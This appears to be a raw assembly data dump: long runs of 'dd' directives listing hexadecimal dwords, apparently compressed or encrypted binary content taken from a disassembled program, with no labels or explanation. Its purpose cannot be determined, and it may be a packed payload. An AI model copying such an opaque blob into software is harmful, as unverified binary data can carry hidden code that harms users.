dd 0AEED41C8h, 497E4B38h, 158E0112h, 0BF090335h, 82104E51h
dd 0ED43ACD0h, 190CA374h, 0B0131E8h, 8AD08C4h, 40545E02h
dd 9C828D0h, 7056B810h, 0DA1458CAh, 34684405h, 70342E14h
dd 9064058Ah, 9408186Dh, 8738ACA0h, 6FC8E488h, 44E8E023h
dd 0FC80F014h, 1E148801h, 29D0118Fh, 48891420h, 1A381FADh
dd 483E6848h, 3CD06047h, 71286834h, 480B4C3Ch, 10D4440Ch
dd 0CAFCD09Ch, 815C941Eh, 781C702Ch, 0FDBC9087h, 1919C0Ah
dd 404DF782h, 480A0B6h, 50A51EF8h, 1440E811h, 1F4808h
dd 22540EB9h, 686B4C0Ch, 20D0A056h, 0F1221CE2h, 8211C07h
dd 8C470ADh, 7803448Ch, 958E1CCh, 5378A638h, 98151C4Eh
dd 1889C1Fh, 5618D89Ah, 548074D8h, 28A50B98h, 286A1234h
dd 0E88AAC22h, 688A6C1Eh, 2008AC38h, 481148A5h, 70A5C0BCh
dd 0D4BC7091h, 989128A5h, 0B4CE8BCh, 282AE5DCh, 0E109AC10h
dd 291E20A0h, 0C0941C36h, 2104F7B8h, 0E5FC216Eh, 10286B28h
dd 1C0A0C10h, 0E6140223h, 0B0311968h, 216C0811h, 0E19144Ah
dd 0D210192Bh, 0D5556C74h, 32535701h, 2ECC335Fh, 0E6C5E64h
dd 450BB0FAh, 3C548E41h, 0D51C98E4h, 3E709C01h, 6B636981h
dd 79756F43h, 2990F7Fh, 72650151h, 8935079h, 6EF4D166h
dd 19ADF663h, 5F9AC11Eh, 8646331Ah, 12266771h, 0FB90579h
dd 730C5346h, 44336D50h, 0E6632C69h, 0B841FA44h, 4C16818Eh
dd 0CF2ED8EEh, 0B8586DC2h, 537A0349h, 8B70E1EFh, 484D0230h
dd 0C379429Ch, 576F545Eh, 0C61864C3h, 0ABC06168h, 92525402h
dd 0CE6CFE46h, 430E2E55h, 0F6736FE7h, 6460CC48h, 5703971Fh
dd 0F5B2A372h, 8F5B1B4Fh, 732C9954h, 4EC627CFh, 50649F80h
dd 28CD7069h, 0CD145C4Dh, 42EC2126h, 6F4D0D75h, 1114C664h
dd 422A271Ah, 29E83336h, 3DBD4618h, 233F2564h, 71B8DF44h
dd 90390969h, 211B264Fh, 2CA55886h, 54905B10h, 9E0A532Fh
dd 1D0E23BCh, 1283A741h, 50337562h, 86C58973h, 1AB58226h
dd 85DE43BEh, 41751F10h, 581D59E7h, 18A5BB08h, 0FA31FA9h
dd 3ED32A38h, 78524E7Dh, 0C9557059h, 72088A10h, 0A691173h
dd 76214482h, 0B26F500Eh, 47019737h, 9E424C02h, 0AE444276h
dd 75995B23h, 64799E3Eh, 11E8848Fh, 1AF01821h, 63BE4902h
dd 6F1D3652h, 704DD841h, 2C0B26AEh, 651B827Ah, 597CC5CEh
dd 85E0D648h, 4455A67Ah, 8919892h, 8ECFAF2Fh, 0C5A13264h
dd 9177B324h, 0CCC2CA82h, 26E1EA4Dh, 0CE664F67h, 4802E025h
dd 814E2647h, 796E555Dh, 0F91E629Eh, 4C109101h, 3650E51h
dd 705E30B0h, 77F26956h, 0FA664F24h, 36C45E64h, 914E103Ch
dd 1335EDF6h, 0AD2467B8h, 99522014h, 0A8A15D50h, 3460650Eh
dd 997CA932h, 0C64B25Dh, 0B5A3AB70h, 53CBA2E2h, 3BCDDF44h
dd 0E04B940Eh, 489ACBC9h, 5070CA83h, 21689232h, 51641252h
dd 596435A1h, 872C8F59h, 267F7F02h, 8C71A26Bh, 0EE754C20h
dd 4620F56Ch, 45D49974h, 4338043Ah, 0E769C675h, 5F52378Ch
dd 703390A0h, 5622DF50h, 7349C190h, 0D6C26C75h, 9A2093FAh
dd 5E6AFA4Dh, 7552A70Ch, 1AAFD5CBh, 7C4231CEh, 2D49B427h
dd 4F028C9Fh, 1CAC6E92h, 0A2723B52h, 3DD56149h, 7094E8BDh
dd 858B3079h, 15616804h, 25324A8h, 624F22B0h, 0B0F3926Ah
dd 49968EE0h, 7822024Dh, 5E825258h, 19CAFF64h, 299A9072h
dd 8B74766Fh, 0D1140389h, 0E699DC90h, 7C0C0A6Eh, 36196F92h
dd 92677289h, 4A485129h, 726C5938h, 0A5E6DF32h, 4D32672Ch
dd 67129170h, 44178232h, 4D16C672h, 48020618h, 4D4170EEh
dd 0B468386Ch, 0AA8AAC0Ch, 42CC5C32h, 964F7426h, 16335C77h
dd 5AF028D8h, 4CAA6F7Eh, 6C7D4Ah, 0E4ACBE5Ch, 0AA10168Ch
dd 117CC242h, 1E55AF50h, 0F2A05D12h, 5783AC70h, 0F359BC08h
dd 0A974F649h, 9A23DEBBh, 950A0D9h, 56C44123h, 0D5A51261h
dd 5A0A5095h, 0D6B39251h, 90457936h, 844C590Eh, 5603786Ch
dd 0BBD056B8h, 230E2BDEh, 2C2C3885h, 427309A4h, 0F7195A0Bh
dd 287CB850h, 0EEFDDA9Dh, 7C4552E1h, 0AB12B257h, 42891A4Eh
dd 4392614Ch, 0BA260265h, 0A73B3454h, 38571010h, 29C252FCh
dd 2838CF50h, 416C0CF5h, 448B2C1Ah, 45284F01h, 62590C4Dh
dd 9968266Eh, 0D564756Eh, 0CE6058D0h, 93A314EDh, 0EE29223Ah
dd 0E624DB1Ah, 1BFA144Dh, 9D4F8219h, 58A42218h, 64936E19h
dd 248AA61Ch, 64C58AB1h, 61319Dh, 79C4CC32h, 3DB20D70h
dd 10043F0Dh, 12B5F64Ah, 2CA921D3h, 0E5654221h, 34ECB01Dh
dd 3C446814h, 0C9663842h, 3D2865C1h, 0ACFD2411h, 25889329h
dd 4E87992Ah, 4910260Ah, 1005EC9Ah, 0D03E1005h, 0B893BB7Eh
dd 0E54C3438h, 0E4011E92h, 5A35598Ch, 8964412h, 303F68D2h
dd 2CFA9D4Eh, 0BF01D0A8h
dd 36B683AFh, 4EA58140h, 9C40885h, 0E2147042h, 21E04166h
dd 7208CC62h, 0E7E403D9h, 171871E5h, 100C4ADAh, 61E4E7F5h
dd 0C9650201h, 49C02A28h, 0EF202962h, 6FC464C9h, 776DF673h
dd 0FB6CE41Fh, 0BB021E8Eh, 4FF8FB3Ch, 560C1F44h, 3F15B177h
dd 6419505Fh, 4BF0254Ah, 732F0242h, 2E296365h, 53873CBFh
dd 59FB6E65h, 4F3A9F43h, 3E65253Ch, 2870112Eh, 0E90195Eh
dd 0EC0C496Dh, 18AE6B63h, 6E5379FCh, 6930A798h, 0AD706D63h
dd 7113AF5Dh, 0C74F73F3h, 8DBD5B89h, 915B74BFh, 2B504916h
dd 0DF2E0F93h, 476D137Ah, 642520DBh, 751E5262h, 54CF8F72h
dd 682AF48Eh, 0AAE60194h, 658504AEh, 0D15D5394h, 7328C681h
dd 1F406A6Eh, 0BD2DCA23h, 29484D3Dh, 49F26447h, 0E1C928D4h
dd 8AB26744h, 452EBBh, 0DE543AF9h, 0FEC7E316h, 0C4F870B6h
dd 0E0616634h, 2C786453h, 0F4E97252h, 9B99502Fh, 904C5B65h
dd 0AF52E548h, 3C912F3Eh, 0B42F23EDh, 4C74343Ch, 91FA0663h
dd 622F968h, 3B0269BAh, 0E14D86F7h, 741EEB35h, 52163AD2h
dd 1623ED10h, 0E4500BBDh, 2A6168Ah, 57090869h, 7850F70h
dd 4F0D0233h, 29E31C09h, 1B024C07h, 455B09C0h, 0AE5D4353h
dd 7002CA07h, 31460F14h, 2A60794h, 320D7154h, 55074AFBh
dd 330D1340h, 950729EDh, 3E0D7302h, 9307D234h, 0D1308A1h
dd 729ED35h, 0D750295h, 7D2363Eh, 53760299h, 29ED370Dh
dd 77029507h, 0D2383E0Dh, 78029907h, 0ED390D53h, 2950729h
dd 308FAD79h, 2D907D5h, 0FA14497Ah, 7B32C433h, 0DE193231h
dd 6012C019h, 7E480F4Ch, 9B31A218h, 21033804h, 4322947h
dd 0F1A803B5h, 49B33A2h, 47230338h, 0B3043429h, 72842403h
dd 38049B35h, 29472503h, 3B30436h, 3772845Eh, 338049Bh
dd 38294726h, 2A03B304h, 9B397284h, 28033804h, 4302947h
dd 0AC2940B8h, 2DBD4414h, 885F428Ch, 883D91BBh, 1009512Bh
dd 2B41545Bh, 0B2075D42h, 0F84E5102h, 1890B86h, 43942757h
dd 4501440Bh, 75CF5199h, 0BA528914h, 240B1A20h, 0CDD5401h
dd 1120B0Dh, 86BC4E59h, 5501890Bh, 0B432037h, 0CA490144h
dd 520B6909h, 94F0126h, 910B6F52h, 0C0502601h, 1680BE8h
dd 9ADCDB94h, 89FF9416h, 16C2DD01h, 968E7D70h, 9D61918Eh
dd 531314EBh, 0B34D474h, 0B0B40157h, 220BA564h, 0CCA5BD01h
dd 130B2966h, 9294701h, 1480B67h, 68094899h, 1440B4Ah
dd 6A09CA4Ah, 126520Bh, 6B52094Bh, 3201910Bh, 946C094Ch
dd 0BA01890Bh, 0B3B0994h, 0C4143A8Ah, 0C42748DEh, 0B35A2822h
dd 0A20BA110h, 4C585901h, 1D10BD0h, 632A925Bh, 1890B94h
dd 439C6756h, 4201440Bh, 0C5C959B9h, 94E19F5h, 440B4A6Eh
dd 9CA4D01h, 26520B6Dh, 5209BC01h, 3C2B0B2Ch, 23BE1114h
dd 0A23E102Eh, 612F24BFh, 0DC1C3F2Eh, 7C185C89h, 88111CE1h
dd 540A435Bh, 75D4C52h, 0A3CFF0CAh, 0E54E4957h, 53020776h
dd 7420420h, 2815999Ah, 257D2C91h, 0E085250h, 9102CC07h
dd 161F14A3h, 76B4B4Ch, 0BBCF5826h, 7CAFF68h, 0E8F1B3E9h
dd 7E4D4F48h, 0B307AC45h, 47923141h, 64EDCF55h, 0D2EC6707h
dd 0AC884544h, 4133EB07h, 0FF4EC7EFh, 0C1D507B5h, 0FFEF6B9Bh
dd 679607D5h, 454CD041h, 59FB5446h, 7D2D6607h, 0A407B7D0h
dd 52F40499h, 50486847h, 2D33CB07h, 574FE21Ah, 280733A0h
dd 0F4149002h, 32DCAA4Dh, 9C586A07h, 39C2EF7Ch, 9681736Ah
dd 0B96D882Ch, 0A2F0CE60h, 2C59E76Bh, 73605960h, 44E19D9Ch
dd 0DD64A261h, 396244E1h, 634314DEh, 6444E19Dh, 4314DE39h
dd 44E19D65h, 14DE3966h, 0E19D6743h, 0DE396844h, 9D694314h
dd 0CE6E44E1h, 0AC3A4EA8h, 79256B3Eh, 0B79643F8h, 427025F1h
dd 5564E85Bh, 4FA032Dh, 4A5D333Ah, 13FCE32Fh, 88666261h
dd 0CD82D320h, 1A95B70Fh, 0D214145Eh, 0EB78EBF3h, 0BAC66CDDh
dd 0F0180919h, 676E1AA4h, 1957A465h, 0FD3D7367h, 10A1F85Ch
dd 0C976045h, 0B80809C8h, 2E553A44h, 1550AF97h, 2C3A0A70h
dd 21437618h, 901F40F2h, 8725FC24h, 213F5EE4h, 0F2AF926h
dd 437E2DC8h, 1F2FF22Bh, 3DFC5C90h, 3F3FE487h, 60F92721h
dd 7E7EC80Fh, 2EF12043h, 58C73F61h, 0A1C81709h, 0F21D918h
dd 437E40C8h, 1F25F224h, 26FC5E90h, 3F2AE487h, 2BF92D21h
dd 7E2FC80Fh, 3DF25C43h, 0FC3F901Fh, 60E48727h, 0F97E213Fh
dd 2EC30F20h, 8876469h, 0F22C435Eh, 40901F21h, 0E48724FCh
dd 5E213F25h, 0C80F26F9h, 2D437E2Ah, 901F2BF2h, 875CFC2Fh
dd 213F3DE4h, 0F27F93Fh, 437E60C8h, 1F20F27Eh, 61682E83h
dd 0A98B9D73h, 1843B094h, 901F24B2h, 952EFC25h, 0C3DCB489h
dd 1D526021h, 0E32E9618h, 8760B679h, 3F246418h, 2EF82521h
dd 21C48778h, 0F924213Fh, 0A5D30F25h, 88180B75h, 24437E21h
dd 1F25F2h, 4B444320h, 0AED7965h, 0FB4F4AC4h, 1423D60Ah
dd 98301D1h, 4B43494Eh, 0A0185C42h, 4345504Fh, 0AFAA452h
dd 5C187205h, 0C355629Dh, 4931AF0Ah, 4FDD4352h, 0F1CA47BDh
dd 55181160h, 88484A53h, 41508702h, 5C181A53h, 7961701Ah
dd 549BBE06h, 0CA593003h, 54184C06h, 2E083084h, 746D6F63h
dd 4F432E08h, 0DADEF24Dh, 6F432D07h, 0C2696B13h, 87189E3Ah
dd 0FA74CB01h, 466808A0h, 1EB8DD0Fh, 156D4F42h, 6E730314h
dd 0BC8C6669h, 0C22BEDCAh, 0C85E766Ah, 704885D4h, 730E7553h
dd 4D636970h, 0FE380E6Fh, 0B2F1D94Bh, 0D26DB89Eh, 3E669E0Eh
dd 2E112D32h, 534844F2h, 0DE4638CBh, 0FAA01950h, 41535707h
dd 74638149h, 0B83E3A6Ch, 62AC5091h, 4C23ABB4h, 6948177Ah
dd 5402D1h, 4B5B10EBh, 0B966C933h, 800001FAh, 0E2990B34h
dd 7305EBFAh, 0EFC99DE8h, 206F362h, 0A938FDC6h, 0D9121C0Fh
dd 85E9C795h, 91F17334h, 9DF36ED0h, 271C018h, 0FC607B29h
dd 0EAB6EAAh, 60EAEEA7h, 8F66CDC6h, 19711228h, 18061B43h
dd 10980975h, 0E0F1CD3Ah, 89CF660Dh, 0D903CDC9h, 8D168105h
dd 0E6F14112h, 5D98289Dh, 4B9D4F9Bh, 89F35580h, 2AC0CAC8h
dd 0EC591C81h, 0FAF100D3h, 1099FDF4h, 1A00A9FFh, 0A514CD75h
dd 38CF3BDh, 647B32C0h, 89CBDD5Fh, 0A0F679Bh, 2CC510A4h
dd 88D509D1h, 2BCE14C9h, 2C8CCCDh, 89861F3h, 1A9EF66h
dd 95A09DCFh, 12A866FEh, 85639D91h, 0D0C89506h, 0E6A5DC12h
dd 0E1B107CDh, 0A3CB4C9Ah, 6CB0B9EBh, 0D01F50AAh, 5C5D34D8h
dd 279642C0h, 74FA389h, 525891EDh, 0D943E094h, 0A2036872h
dd 0C37EEC86h, 0E9BD9312h, 95D8FF44h, 8512C8D2h, 529C6C3Fh
dd 0C0C70A32h, 30BB715Ah, 97D71702h, 67EB7500h, 40348F2Ah
dd 7657399Ch, 52F97901h, 0ECA26574h, 75FE6C90h, 0E33603Eh
dd 5C5FE07Eh, 5A40A022h, 7D44844Ah, 9595870Ah, 40C324FEh
dd 410FBCF3h, 89BEA8Ah, 6A1F87EDh, 3F9AE794h, 8DD70062h
dd 0CECF74AAh, 0C0A6FAC8h, 97F36B19h, 3F516AC0h, 1AC6D49Fh
dd 0DC9D5E06h, 1C10707Bh, 945412C7h, 5A0E9FDFh, 588A7848h
dd 0DFA520C5h, 0FDA4A880h, 7C9BF3EFh, 12996F1Eh, 900163C9h
dd 0EC975F1Ah, 20F9F349h, 18B1E7Ch, 0CFCB941Ah, 4065CE66h
dd 9CF341D5h, 0A9ED26C8h, 0FC2C287Eh, 752CCC9Bh, 9E485E2Ah
dd 59AA817Ah, 41DADE10h, 3607CE7Dh, 0DCD3669h, 0D9A466Dh
dd 7F879061h, 3EBB5FDDh, 10C03801h, 627B179Dh, 0C8A1CFD4h
dd 0D901A506h, 0B5DF5EFFh
dd 4814CE20h, 0A27FCCDEh, 5E7DB987h, 0B522A5F9h, 18F22A6Eh
dd 0CB797A8Fh, 0A78BEFDBh, 0C97D08DCh, 0D5223584h, 8C8CC860h
dd 0C3494B24h, 247735CCh, 67765104h, 0EDFCDE00h, 0F60EEBC9h
dd 3DFDD8FAh, 98EA38BDh, 0F80CDA99h, 1246F3EDh, 1FD87F1Dh
dd 0A6F0E1DCh, 0AE293637h, 0AF6D537h, 9EFBCF4Fh, 30E034FFh
dd 6D256489h, 59BEB107h, 86B0F254h, 0F7F0FB24h, 0ADF548CEh
dd 0E1E37AEAh, 7C94FAF8h, 0FE76EBE9h, 8CA2FFF6h, 6B67F920h
dd 53FF8502h, 5C76424Dh, 0C8951847h, 0FF128EDEh, 45B6FEh
dd 20435002h, 0F54454Eh, 4B524F57h, 7776FA1Eh, 4D413C47h
dd 30675759h, 0AD4E974Ch, 0F60B1506h, 0B5A25A37h, 6B08C77Ch
dd 75C67F67h, 330C1E70h, 5161312Eh, 3248C54Dh, 0BC11AB58h
dd 2E769F33h, 6E54F216h, 306D3220h, 7596FA16h, 2190A452h
dd 0BC079073h, 0EF0CE010h, 40E48B8h, 0F3120A11h, 0ED4C87Ch
dd 0A21B6980h, 0FDFCA05Eh, 970B204Ah, 0E0700882h, 6563A78Fh
dd 616E4A25h, 0D3E6FEEh, 95777376h, 410230F2h, 3991030Ah
dd 24B73582h, 872E3CB3h, 0DAF153CAh, 8C4B05Eh, 1EDA2220h
dd 9FC85742h, 1C140359h, 0EC65A7B4h, 52E04E27h, 0F8D60840h
dd 1008448Ch, 20A0CAE1h, 0E0888A15h, 4F4F4870h, 19813490h
dd 0F27A006Ah, 281C49E4h, 250530AFh, 53671074h, 5CB2E62Fh
dd 1A75E091h, 430454D9h, 10445CE0h, 5BDA31BEh, 32622604h
dd 3610CE89h, 956F3808h, 39303278h, 13477E49h, 28D6A243h
dd 0FE1013Fh, 43686428h, 0DC08A0A2h, 0FB068204h, 0DE71D018h
dd 16E00EE0h, 9F1317A6h, 0A08A0201h, 2D3A0189h, 11031A02h
dd 526C9091h, 3CD461DEh, 6315701Ch, 849CE2BDh, 246B2570h
dd 0C6A76750h, 1C4EFB54h, 4C295437h, 0D1CD26BFh, 0C0944659h
dd 45C9D450h, 51C46F3h, 71030B0Dh, 9F8C72A3h, 0E70474B8h
dd 6A0640B4h, 39192800h, 11D0B10Ch, 5A8709Bh, 2ED94FC0h
dd 5D6040F5h, 1CEB8A88h, 9F11C909h, 2B4500E8h, 0AF604810h
dd 0F40C0AD6h, 6042FCA8h, 0B90CA010h, 47A828A1h, 0E15EA8B1h
dd 0C46A00Ch, 0B5418828h, 0F6ECB604h, 908469Dh, 18401495h
dd 0CB707C58h, 80470110h, 0D15C0823h, 0EBF1489h, 1138578h
dd 0E9A65BABh, 1012E14Eh, 2F1822F8h, 0FEFF881Dh, 30CD0E44h
dd 0CE7A4333h, 26120803h, 549B088Bh, 0EE0DB91Fh, 25B4BF05h
dd 0C68212Fh, 11042620h, 109A0DADh, 0F24551Ch, 20DC88D8h
dd 70420118h, 0B90F8410h, 468828A9h, 88A53C95h, 842102E4h
dd 0F16C180Fh, 12010E19h, 7C2AA89Ah, 148D89E6h, 9D0103FAh
dd 702D84ADh, 502758E9h, 45A37020h, 0DBB7F366h, 3315E7Eh
dd 77E6755Bh, 73728D03h, 0F35D1C3Fh, 2E340CD9h, 0F1FE78F5h
dd 9E466673h, 323C48E3h, 0AFB76B47h, 123E740Fh, 0F0F2FC70h
dd 2B15123Ch, 843C0275h, 0FF766441h, 0E1AF6B5Dh, 69B77297h
dd 34508378h, 42016C42h, 751CE13Ch, 6901BDC2h, 658554F3h
dd 66EB6863h, 0A7BF2492h, 0DF1F3E0Bh, 1626710Ah, 4873758Fh
dd 9F116F72h, 0C22F1729h, 0F0133CD5h, 74692B75h, 9E661E11h
dd 9C2DDB70h, 443A7399h, 0EB67460Eh, 71B90406h, 821EEE38h
dd 52637069h, 81660126h, 0FF071CECh, 0C85876E4h, 16D08D7Fh
dd 9D586204h, 0ADA04922h, 6E14C0C9h, 0C5FA58B3h, 0A0E81D00h
dd 0FDD0E544h, 24044843h, 58F80631h, 58002432h, 6445CCFDh
dd 70B049h, 2C74AEDDh, 5E60D296h, 341C0D57h, 500F1970h
dd 0A0211E7Ch, 96801C4Ch, 4D2A40F1h, 6AA611CEh, 0AF0B20E0h
dd 93F4726Eh, 5241F853h, 0A34AC42h, 0BAADF00Dh, 0F4A80708h
dd 360020Bh, 4D020408h, 0C4574F45h, 0C0A25730h, 2E0338C5h
dd 293032D0h, 61189A28h, 0BD7A08B9h, 52C838B7h, 0D8184044h
dd 48D81C95h, 0C4BCCC07h, 1BCD2838h, 85082964h, 0B6B92032h
dd 10AB5674h, 0A6F9A5C8h, 0E4A4231Fh, 8FAA7CADh, 606474A0h
dd 90495809h, 2044A86Ch, 0A5DCA478h, 91D823CCh, 0B64F0350h
dd 8CFF2088h, 0EDF2CBBAh, 91486018h, 5669204h, 6C0209EEh
dd 3C9710A4h, 0A7CB968h, 69B40C19h, 700E1C14h, 409398D8h
dd 0A911D24Fh, 57BE1A3Dh, 0DC5821B2h, 8048588Eh, 138F4E8h
dd 14433818h, 4602942h, 0C044F8A9h, 49873B7Ch, 0C581E438h
dd 80031702h, 544AE90Eh, 508A0050h, 2857A6Fh, 0E848E4ADh
dd 60233079h, 0D8BA8C4Bh, 610DDA21h, 2E0C2F20h, 0A978902Ah
dd 28265871h, 9280E9DDh, 22486B2Eh, 1E0E4B68h, 0B8B0E5Fh
dd 20A89014h, 5C9208A5h, 79E2F099h, 24A527FEh, 2D7DE832h
dd 366C0634h, 0E5028D18h, 2BA4A22Eh, 20657863h, 182D9832h
dd 0CCA12A88h, 28F85C02h, 16188C6Fh, 0D408007Dh, 0AA42E04Eh
dd 8C0C3C08h, 2689104h, 7FFDE0CCh, 14340488h, 0A7EB0190h
dd 18759F01h, 0A2139DC0h, 0B4609CF3h, 48E45A62h, 3BE1705Ah
dd 5E6B97E7h, 7210333Ah, 0BAC8B884h, 0C0ADA4AAh, 0B8ACF4EFh
dd 671AA5A9h, 53119B6h, 6527A53Eh, 0E7924FB3h, 0C7A59EB2h
dd 641BB1B1h, 2FF84165h, 51069446h, 249C4B1Ah, 6923A974h
dd 0B14A87A1h, 4942902Fh, 0F8200202h, 307362DFh, 0BCF02008h
dd 0B46D6968h, 37133762h, 5AFC53D2h, 0FC508832h, 294A0FE1h
dd 810C18FBh, 1D204480h, 54464B43h, 0DE77AB45h, 47407D0Dh
dd 0A541FA84h, 0D1F62002h, 0A3B9021Ch, 3FBF5C02h, 478BE042h
dd 504A4948h, 24EA64Bh, 5251504Fh, 0E0FD5453h, 9595818h
dd 6362615Ah, 67667E00h, 6A046968h, 6E6D6C6Bh, 6071DB82h
dd 2757477h, 79787776h, 0CB80307Ah, 36353433h, 39383705h
dd 48632F2Bh, 0C4684B53h, 89A70143h, 10EDE8E6h, 0F6836FFh
dd 63D61209h, 3E19F78Dh, 0A2E1EDB1h, 4761440h, 0D06B0F68h
dd 0E2AACA2Bh, 110C9E15h, 97FAC43Fh, 7AD93087h, 0DB313E2Fh
dd 99E1103Fh, 3E89D0FFh, 0F976B4E0h, 0A0B9C7D8h, 2FA4F310h
dd 0D2FE315Eh, 0FF065398h, 8ED4BD56h, 9C4D432h, 0E00C6075h
dd 0ECFCB760h, 4000FDADh, 837C588Dh, 53C430Eh, 93288B81h
dd 5E63BB58h, 0B1EBC0Eh, 7724048Bh, 7C50F506h, 0D23FC373h
dd 9932B964h, 0B8C62289h, 1F7F2732h, 4002B1C9h, 74AFF3DFh
dd 0EB764303h, 101F7EF2h, 58C18F64h, 0BF60C361h, 8B182F32h
dd 789C71Fh, 81F8E4EFh, 1FE9C75Ah, 39F9077Bh, 0F1047419h
dd 0E9F8EB09h, 0E75AE9FAh, 52DB05DBh, 0C7F6C7F7h, 0BE4AE511h
dd 1FD0CC1h, 0CA16E8Ah, 1C400E36h, 1E6E586Ch, 310756BDh
dd 0BF04460Eh, 246C8F9Ah, 3C45C728h, 3E0554F3h, 4A9FEA8Ch
dd 205A0F18h, 38E3EB01h, 0F734ED49h, 0FF31EEC0h, 0ACFC95A0h
dd 7407E0FAh, 0DCFC107h, 0C1BBC7F5h, 0C4247C42h, 48DDE175h
dd 326676A0h, 1C124B0Ch, 5431BF08h, 0DD4789E8h, 0C7FB61B4h
dd 5C64EB6Fh, 0F254FA80h, 0E8FCD8A0h, 5DA0F99Eh, 0F2EF7C44h
dd 85F814Fh, 0C00E8E2Eh, 9984AC99h, 0C202CAB7h, 0C7D85D29h
dd 5B44E368h, 209D30CFh, 5C6689FCh, 505AC332h, 7630B264h
dd 0F783585h, 705D030Eh, 68F0AD1Ch, 0B51E908h, 534FC5Fh
dd 68087C50h, 315F3C00h, 0EB5660F6h, 48EFF20Dh, 167E72CEh
dd 0EE8AFE98h, 0E8E7CF02h, 923374EEh, 3868F623h, 9C2BB906h
dd 2490501h, 13487BA0h, 4360D8A1h, 102203DCh, 0DC9006EBh
dd 71B19822h, 0DE66952Fh, 6D6302C5h, 8BEB2CC7h, 583F37ADh
dd 37B05845h, 78956DFAh, 2EAECE6Ah, 5F707822h, 688D80AFh
dd 274E9B4Ch, 150E9F3Eh
dd 99A7AD20h, 0CD278BC5h, 2ADEE9A1h, 7BA1CFA7h, 1069249Dh
dd 1938FACh, 564952EDh, 7B3DD045h, 4C515312h, 7C7DC998h
dd 1422D03Bh, 0D42C5666h, 493755FAh, 50721544h, 5707AF57h
dd 64615C21h, 65DDA12Ah, 0C59C615Ch, 73444174h, 0FAC52461h
dd 0B2C93309h, 80812935h, 138C13Ch, 1AC70183h, 0DA321F8Ah
dd 0E247D088h, 16DEF700h, 30375C4Fh, 0CD6C0059h, 0B9EBA928h
dd 450379E4h, 12C536E1h, 3D058815h, 7660E62h, 1B63066Ah
dd 34887971h, 0DD1830DEh, 6802CACCh, 1FD800B6h, 516C055Fh
dd 75E434BEh, 451E3975h, 4D419829h, 96AB83Dh, 7E342EFCh
dd 0C76E7BCEh, 0A7297E0Bh, 1166E3CCh, 64A1CFFBh, 15249067h
dd 7FC0416h, 0B6ACF539h, 0CB3E6401h, 0E4F70799h, 40D0B1D7h
dd 0E833AC2h, 71B83070h, 0C533181h, 0D5D4F525h, 6D6FD404h
dd 65636B03h, 0F07B1E67h, 1823A74h, 31BE7F39h, 80CD34BDh
dd 0BC307846h, 63EDB871h, 8B400ECBh, 41310A08h, 0C0171F14h
dd 0CA662D68h, 0F24CBCE5h, 0BD6D198Ch, 42CCB584h, 4124CE3Fh
dd 21135EE0h, 9CA84DDCh, 418FBBCh, 630366EEh, 4A80E573h
dd 536D60A2h, 5F3B05BCh, 7A62BE25h, 637BE118h, 0F966F90Dh
dd 0B80C3216h, 1065BD70h, 28FBFBD1h, 85DD0Ah, 66A13930h
dd 4D501B5Dh, 5669D4E5h, 1951583Eh, 0F93EE704h, 2B062D9h
dd 34F3CB8Eh, 0E267C73Dh, 83654D1Eh, 613D8432h, 0FBCB9C24h
dd 75C3B367h, 0EEE0E6D9h, 69C0E1D5h, 3208CE7Ah, 479B0B33h
dd 6209C87Ch, 3689D579h, 0F8EFFC70h, 2FE33072h, 982E30F4h
dd 9C51486Ch, 55A24Bh, 20353234h, 266E6143h, 0C9387427h
dd 7FDE297Fh, 0BA5270AFh, 512ED732h, 407925ECh, 76120BE9h
dd 2BFFFA40h, 4B7C7CE4h, 4CA42F7Ch, 70E76CB7h, 57D47294h
dd 0ED4212AFh, 42054EA2h, 76107563h, 0EE72CF1Dh, 64F4DF6Dh
dd 6D86C884h, 6962F92Ah, 0FF36A840h, 4FC0E22Bh, 0FB8D92B1h
dd 0B0A2706Dh, 3531F742h, 0D9C99730h, 423C406Eh, 411A4E49h
dd 56C5952h, 0A52A65CEh, 520EA443h, 8745445h, 1FE23228h
dd 0BE4F5020h, 0C6AD48D1h, 733D6EF8h, 46BD4A75h, 0DE9B14Fh
dd 19DB35CDh, 78189A03h, 2A142504h, 5E5B2E90h, 0AD5D722Ch
dd 0CE0A6706h, 0AD705814h, 4C934CB0h, 54534924h, 3D685059h
dd 0FF0F124Fh, 83099424h, 0EA121370h, 0FDFF9364h, 0ABFCF616h
dd 7CD02E4Ch, 5694E04Bh, 5425B8A5h, 294A29A1h, 0AE499549h
dd 6418A574h, 0A225D41h, 45505954h, 37358138h, 0CB2F2220h
dd 634AABA6h, 1FD4C6E8h, 0D06CFD4Ah, 7C5C93F1h, 48493312h
dd 7E040B52h, 0A9FD2B65h, 0CC539530h, 0F04F6594h, 6B246305h
dd 6414D846h, 59531419h, 6833CC18h, 2734B955h, 52E333D8h
dd 0C6E69BAh, 238CB08Bh, 99318A33h, 0D0B677E4h, 35B2E03Ah
dd 4B410AD0h, 48737CF5h, 6AF0202Ch, 6030152Ch, 77997DDEh
dd 0DA6A2E6Eh, 62724982h, 680D586Fh, 0CF6F4374h, 2489D6EAh
dd 0D6E0DA2Eh, 39E38F12h, 3B044726h, 3AB94FC2h, 433D64DFh
dd 3E594B4Fh, 6D62989Dh, 8F424879h, 0D7431E64h, 692DF77Bh
dd 0C0998D0Fh, 3F7F076Ch, 32126314h, 4B73132Ch, 39124838h
dd 0A073783Dh, 0CF303DF6h, 12FB7058h, 9A251E42h, 67380A7Ch
dd 9396C8BFh, 639634EEh, 0A244C12h, 2932DF67h, 0D3410469h
dd 26107076h, 7A516152h, 368326A6h, 447F5544h, 33454EFh
dd 544D4703h, 58A9224Bh, 0D5CC2D3Ch, 0A866691Ch, 0A51A87D2h
dd 532A837Ch, 26144FFBh, 775BF443h, 4D5A972Eh, 0A3F5719Fh
dd 0DC23D5F0h, 0B0FFB87Dh, 0D9FAE7C8h, 2641A97h, 0CD08FF8Dh
dd 0A202BB4Dh, 8415E179h, 42CDAFD7h, 0F32F719Ch, 58CD657Eh
dd 6D61B6D3h, 0F4B8CBCh, 8F2FE97Bh, 49DD9759h, 46A87022h
dd 66A66299h, 0CC2C9B49h, 656BDCD1h, 2FF9A73Bh, 0DAB8D32Ch
dd 57145017h, 0A9FFE740h, 84CA9466h, 0ABE4BD11h, 0B3F5E4B5h
dd 0D9043498h, 5C089938h, 0B12B460Bh, 692302EFh, 24286051h
dd 1B34CBB1h, 0EB48DDBBh, 0B27285B4h, 863C8B88h, 0D61C3EFBh
dd 4F7DC00Ch, 0A2B0534Ch, 223D4E0Eh, 3C3E4333h, 682C7448h
dd 3B1B2A2Fh, 0E6022D2h, 454C4241h, 4FC00AABh, 9AA5944h
dd 4C4D3D40h, 504C48F3h, 923ED09Ch, 93224753h, 43809B3Ah
